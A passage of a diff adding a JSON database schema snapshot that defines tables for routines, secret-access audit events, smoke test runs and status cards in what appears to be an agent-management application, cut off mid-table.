"tableTo": "routines", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routine_triggers_secret_id_company_secrets_id_fk": { + "name": "routine_triggers_secret_id_company_secrets_id_fk", + "tableFrom": "routine_triggers", + "columnsFrom": [ + "secret_id" + ], + "tableTo": "company_secrets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routine_triggers_created_by_agent_id_agents_id_fk": { + "name": "routine_triggers_created_by_agent_id_agents_id_fk", + "tableFrom": "routine_triggers", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routine_triggers_updated_by_agent_id_agents_id_fk": { + "name": "routine_triggers_updated_by_agent_id_agents_id_fk", + "tableFrom": "routine_triggers", + "columnsFrom": [ + "updated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.routines": { + "name": "routines", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "project_id": { + "name": "project_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "folder_id": { + "name": "folder_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "parent_issue_id": { + "name": "parent_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "assignee_agent_id": { + "name": "assignee_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "priority": { + "name": "priority", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'medium'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "concurrency_policy": { + "name": "concurrency_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'coalesce_if_active'" + }, + "catch_up_policy": { + "name": "catch_up_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'skip_missed'" + }, + "activity_gate_policy": { + "name": "activity_gate_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'always'" + }, + "activity_gate_scope": { + "name": "activity_gate_scope", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'company'" + }, + "origin_kind": { + "name": "origin_kind", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'manual'" + }, + "origin_id": { + "name": "origin_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "variables": { + "name": "variables", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "env": { + "name": "env", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "latest_revision_id": { + "name": "latest_revision_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "latest_revision_number": { + "name": "latest_revision_number", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updated_by_agent_id": { + "name": "updated_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "updated_by_user_id": { + "name": "updated_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_triggered_at": { + "name": "last_triggered_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_enqueued_at": { + "name": "last_enqueued_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "routines_company_status_idx": { + "name": "routines_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routines_company_assignee_idx": { + "name": "routines_company_assignee_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "assignee_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routines_company_project_idx": { + "name": "routines_company_project_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "project_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routines_company_folder_idx": { + "name": "routines_company_folder_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "folder_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routines_company_responsible_user_idx": { + "name": "routines_company_responsible_user_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "responsible_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "routines_company_origin_idx": { + "name": "routines_company_origin_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "origin_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "routines_company_id_companies_id_fk": { + "name": "routines_company_id_companies_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routines_project_id_projects_id_fk": { + "name": "routines_project_id_projects_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "project_id" + ], + "tableTo": "projects", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "routines_folder_id_folders_id_fk": { + "name": "routines_folder_id_folders_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "folder_id" + ], + "tableTo": "folders", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routines_goal_id_goals_id_fk": { + "name": "routines_goal_id_goals_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routines_parent_issue_id_issues_id_fk": { + "name": "routines_parent_issue_id_issues_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "parent_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routines_assignee_agent_id_agents_id_fk": { + "name": "routines_assignee_agent_id_agents_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "assignee_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "routines_created_by_agent_id_agents_id_fk": { + "name": "routines_created_by_agent_id_agents_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "routines_updated_by_agent_id_agents_id_fk": { + "name": "routines_updated_by_agent_id_agents_id_fk", + "tableFrom": "routines", + "columnsFrom": [ + "updated_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.secret_access_events": { + "name": "secret_access_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "secret_id": { + "name": "secret_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "user_secret_definition_id": { + "name": "user_secret_definition_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "secret_scope": { + "name": "secret_scope", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'company'" + }, + "version": { + "name": "version", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "responsible_user_id": { + "name": "responsible_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credential_owner_user_id": { + "name": "credential_owner_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credential_subject_type": { + "name": "credential_subject_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "credential_subject_id": { + "name": "credential_subject_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actor_type": { + "name": "actor_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actor_id": { + "name": "actor_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "consumer_type": { + "name": "consumer_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "consumer_id": { + "name": "consumer_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "config_path": { + "name": "config_path", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "heartbeat_run_id": { + "name": "heartbeat_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "plugin_id": { + "name": "plugin_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "outcome": { + "name": "outcome", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "error_code": { + "name": "error_code", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "secret_access_events_company_created_idx": { + "name": "secret_access_events_company_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "secret_access_events_secret_created_idx": { + "name": "secret_access_events_secret_created_idx", + "columns": [ + { + "expression": "secret_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "secret_access_events_user_definition_created_idx": { + "name": "secret_access_events_user_definition_created_idx", + "columns": [ + { + "expression": "user_secret_definition_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "secret_access_events_company_credential_owner_idx": { + "name": "secret_access_events_company_credential_owner_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "credential_owner_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "secret_access_events_consumer_idx": { + "name": "secret_access_events_consumer_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "consumer_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "consumer_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "secret_access_events_run_idx": { + "name": "secret_access_events_run_idx", + "columns": [ + { + "expression": "heartbeat_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "secret_access_events_company_id_companies_id_fk": { + "name": "secret_access_events_company_id_companies_id_fk", + "tableFrom": "secret_access_events", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "secret_access_events_secret_id_company_secrets_id_fk": { + "name": "secret_access_events_secret_id_company_secrets_id_fk", + "tableFrom": "secret_access_events", + "columnsFrom": [ + "secret_id" + ], + "tableTo": "company_secrets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": { + "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk", + "tableFrom": "secret_access_events", + "columnsFrom": [ + "user_secret_definition_id" + ], + "tableTo": "user_secret_definitions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "secret_access_events_issue_id_issues_id_fk": { + "name": "secret_access_events_issue_id_issues_id_fk", + "tableFrom": "secret_access_events", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": { + "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk", + "tableFrom": "secret_access_events", + "columnsFrom": [ + "heartbeat_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "secret_access_events_plugin_id_plugins_id_fk": { + "name": "secret_access_events_plugin_id_plugins_id_fk", + "tableFrom": "secret_access_events", + "columnsFrom": [ + "plugin_id" + ], + "tableTo": "plugins", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.smoke_run_steps": { + "name": "smoke_run_steps", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "path": { + "name": "path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scenario_step": { + "name": "scenario_step", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "detail": { + "name": "detail", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "screenshot_artifact_ref": { + "name": "screenshot_artifact_ref", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "duration_ms": { + "name": "duration_ms", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "smoke_run_steps_company_run_idx": { + "name": "smoke_run_steps_company_run_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "smoke_run_steps_company_path_idx": { + "name": "smoke_run_steps_company_path_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "path", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "smoke_run_steps_company_id_companies_id_fk": { + "name": "smoke_run_steps_company_id_companies_id_fk", + "tableFrom": "smoke_run_steps", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "smoke_run_steps_run_id_smoke_runs_id_fk": { + "name": "smoke_run_steps_run_id_smoke_runs_id_fk", + "tableFrom": "smoke_run_steps", + "columnsFrom": [ + "run_id" + ], + "tableTo": "smoke_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.smoke_runs": { + "name": "smoke_runs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'running'" + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "summary": { + "name": "summary", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "smoke_runs_company_started_idx": { + "name": "smoke_runs_company_started_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "smoke_runs_company_status_idx": { + "name": "smoke_runs_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "smoke_runs_company_id_companies_id_fk": { + "name": "smoke_runs_company_id_companies_id_fk", + "tableFrom": "smoke_runs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.status_card_updates": { + "name": "status_card_updates", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "card_id": { + "name": "card_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "trigger": { + "name": "trigger", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "generation_issue_id": { + "name": "generation_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "run_id": { + "name": "run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "changes": { + "name": "changes", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "input_tokens": { + "name": "input_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "output_tokens": { + "name": "output_tokens", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "cost_cents": { + "name": "cost_cents", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "query_version": { + "name": "query_version", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "change_summary": { + "name": "change_summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "started_at": { + "name": "started_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "finished_at": { + "name": "finished_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "status_card_updates_card_started_idx": { + "name": "status_card_updates_card_started_idx", + "columns": [ + { + "expression": "card_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "started_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "status_card_updates_generation_issue_idx": { + "name": "status_card_updates_generation_issue_idx", + "columns": [ + { + "expression": "generation_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "status_card_updates_card_id_status_cards_id_fk": { + "name": "status_card_updates_card_id_status_cards_id_fk", + "tableFrom": "status_card_updates", + "columnsFrom": [ + "card_id" + ], + "tableTo": "status_cards", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "status_card_updates_generation_issue_id_issues_id_fk": { + "name": "status_card_updates_generation_issue_id_issues_id_fk", + "tableFrom": "status_card_updates", + "columnsFrom": [ + "generation_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "status_card_updates_run_id_heartbeat_runs_id_fk": { + "name": "status_card_updates_run_id_heartbeat_runs_id_fk", + "tableFrom": "status_card_updates", + "columnsFrom": [ + "run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.status_cards": { + "name": "status_cards", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title_pinned": { + "name": "title_pinned", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "interest_prompt": { + "name": "interest_prompt", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "queries": { + "name": "queries", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "query_version": { + "name": "query_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "query_compiled_at": { + "name": "query_compiled_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "query_compiled_by_agent_id": { + "name": "query_compiled_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "refresh_policy": { + "name": "refresh_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "state": { + "name": "state", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'compiling'" + }, + "pending_change_count": { + "name": "pending_change_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "pending_change_hash": { + "name": "pending_change_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_change_at": { + "name": "last_change_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "fingerprint": { + "name": "fingerprint", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "fingerprint_at": { + "name": "fingerprint_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "mentioned_issue_ids": { + "name": "mentioned_issue_ids", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "document_id": { + "name": "document_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "last_update_run_kind": { + "name": "last_update_run_kind", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_generated_at": { + "name": "last_generated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_model": { + "name": "last_model", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "generating_issue_id": { + "name": "generating_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "next_eval_at": { + "name": "next_eval_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "archived_at": { + "name": "archived_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "archived_by_user_id": { + "name": "archived_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "archived_by_agent_id": { + "name": "archived_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "status_cards_company_archived_idx": { + "name": "status_cards_company_archived_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "archived_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "status_cards_company_next_eval_idx": { + "name": "status_cards_company_next_eval_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "next_eval_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "status_cards_company_id_companies_id_fk": { + "name": "status_cards_company_id_companies_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "status_cards_created_by_agent_id_agents_id_fk": { + "name": "status_cards_created_by_agent_id_agents_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "status_cards_query_compiled_by_agent_id_agents_id_fk": { + "name": "status_cards_query_compiled_by_agent_id_agents_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "query_compiled_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "status_cards_agent_id_agents_id_fk": { + "name": "status_cards_agent_id_agents_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "status_cards_document_id_documents_id_fk": { + "name": "status_cards_document_id_documents_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "document_id" + ], + "tableTo": "documents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "status_cards_generating_issue_id_issues_id_fk": { + "name": "status_cards_generating_issue_id_issues_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "generating_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "status_cards_archived_by_agent_id_agents_id_fk": { + "name": "status_cards_archived_by_agent_id_agents_id_fk", + "tableFrom": "status_cards", + "columnsFrom": [ + "archived_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.status_decision_effects": { + "name": "status_decision_effects", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "decision_id": { + "name": "decision_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "ordinal": { + "name": "ordinal", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "effect_kind": { + "name": "effect_kind", + "type": "text", + 